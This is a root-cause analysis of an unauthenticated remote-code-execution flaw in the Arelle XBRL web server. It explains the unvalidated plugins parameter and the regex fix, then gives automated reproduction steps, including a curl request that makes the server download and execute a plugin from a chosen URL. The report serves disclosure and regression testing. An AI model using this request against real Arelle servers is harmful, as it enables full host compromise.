# RCA Report: CVE-2026-42796 — Arelle Unauthenticated RCE via Plugin URL Parameter

## Summary

Arelle's built-in web server exposes `/rest/configure` and `/rest/xbrl/validation` endpoints that accept a `plugins` query parameter. In versions prior to 2.39.10, this parameter was forwarded directly to the plugin manager without validation, allowing an attacker to supply an arbitrary HTTP(S) URL pointing to a Python file. Arelle would download the file and, when the plugin defined certain hooks (e.g., `CntlrCmdLine.Utility.Run`), execute its top-level Python code in-process. This constitutes unauthenticated remote code execution (RCE) against any reachable Arelle web server instance.

## Impact

- **Package/Component**: `arelle-release` (PyPI) / Arelle XBRL platform
- **Affected Versions**: `< 2.39.10`
- **Fixed Version**: `2.39.10`
- **Risk Level**: Critical — CVSS 3.1 base 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **Consequences**: Any network-reachable Arelle web server can be compelled to download and execute attacker-controlled Python code, leading to full host compromise.

## Root Cause

The root cause is a missing allowlist/validation on the `plugins` parameter in the web server request handlers (`arelle/CntlrWebMain.py`). Before the fix:

```python
if request.query.plugins:
    options.plugins = request.query.plugins
```

The value was passed verbatim to `CntlrCmdLine.run()`, which splits it by `|` and calls `PluginManager.addPluginModule()` for each entry. `addPluginModule()` resolves the string through the web cache (`WebCache.getfilename`), downloading remote URLs to a local cache file. The module is then parsed for `__pluginInfo__` and, if it declares a hook that the runtime later requests (e.g., `CntlrCmdLine.Utility.Run`), `PluginManager.loadModule()` imports and executes the file via `importlib.util.spec_from_file_location` + `exec_module`.

The fix (PR #2320, commits `4fed726`, `736f77b`, `b43437a`) adds a `_rejectRemotePlugins()` helper that matches each plugin reference against the regex `^[a-zA-Z][a-zA-Z0-9+\-.]*://`. If any reference is a URL scheme, the web server raises an `HTTPResponse(status=400)` before the value ever reaches the plugin manager. The fix also adds a startup warning about the webserver's security posture.

## Reproduction Steps

The reproduction is fully automated in `repro/reproduction_steps.sh`. The script:

1. Creates two isolated Python virtualenvs and installs `arelle-release==2.39.9` (vulnerable) and `2.39.10` (fixed).
2. Writes a malicious plugin `evil_plugin.py` that writes a sentinel file (`/tmp/arelle_pwned`) at module import time and declares `CntlrCmdLine.Utility.Run` to ensure `loadModule` / `exec_module` is triggered.
3. Serves the plugin via `python3 -m http.server`.
4. Starts the Arelle webserver (`arelleCmdLine --webserver localhost:PORT`).
5. Sends `curl "http://127.0.0.1:PORT/rest/configure?plugins=http://127.0.0.1:PLUGIN_PORT/evil_plugin.py"`.
6. Captures the HTTP response code and checks for the sentinel file.
7. Repeats steps 3–6 with the fixed version.

### Expected Evidence

- **Vulnerable (2.39.9)**: HTTP `200` and sentinel file `/tmp/arelle_pwned` is created, proving the remote plugin was downloaded, imported, and executed.
- **Fixed (2.39.10)**: HTTP `400` with body `Remote URL plug-in references are not permitted via the webserver: ...` and no sentinel file, proving the guard blocks the attack.

## Evidence

Captured logs are written to `$ROOT/logs/`:

- `logs/vuln_response.txt` — Arelle 2.39.9 HTML response showing plugin activation success.
- `logs/vuln_http_code.txt` — `vuln HTTP code: 200`
- `logs/fixed_response.txt` — Arelle 2.39.10 plain-text rejection message.
- `logs/fixed_http_code.txt` — `fixed HTTP code: 400`
- `logs/result.txt` — Combined pass/fail verdicts.

### Key Excerpts

Vulnerable run output:
```
vuln HTTP code: 200
vuln: CONFIRMED - sentinel file created (RCE executed)
```

Fixed run output:
```
fixed HTTP code: 400
fixed: CONFIRMED - request rejected with 400, no RCE
```

## Recommendations / Next Steps

1. **Upgrade immediately** to `arelle-release >= 2.39.10` (or any build containing PR #2320).
2. **Do not expose** the Arelle web server to untrusted networks. Even with the fix, the web server performs no authentication and can read local files.
3. **Regression test** by running the reproduction script against any new release to ensure the guard is not inadvertently removed.
4. **Consider additional hardening** such as binding the web server to `127.0.0.1` only and placing it behind an authenticated reverse proxy.

## Additional Notes

- **Idempotency**: The reproduction script was executed twice consecutively and produced identical results on both runs.
- **Edge Cases**: The fix also rejects prefixed entries (e.g., `+http://...`, `-http://...`, `~http://...`) and pipe-separated lists where any component is a remote URL. The regex correctly allows local filesystem paths and pip-installed entry-point names.
- **Limitations**: The reproduction targets the `/rest/configure` endpoint because it is the simplest trigger path; the same guard also protects `/rest/xbrl/validation` and other endpoints that accept `plugins`.
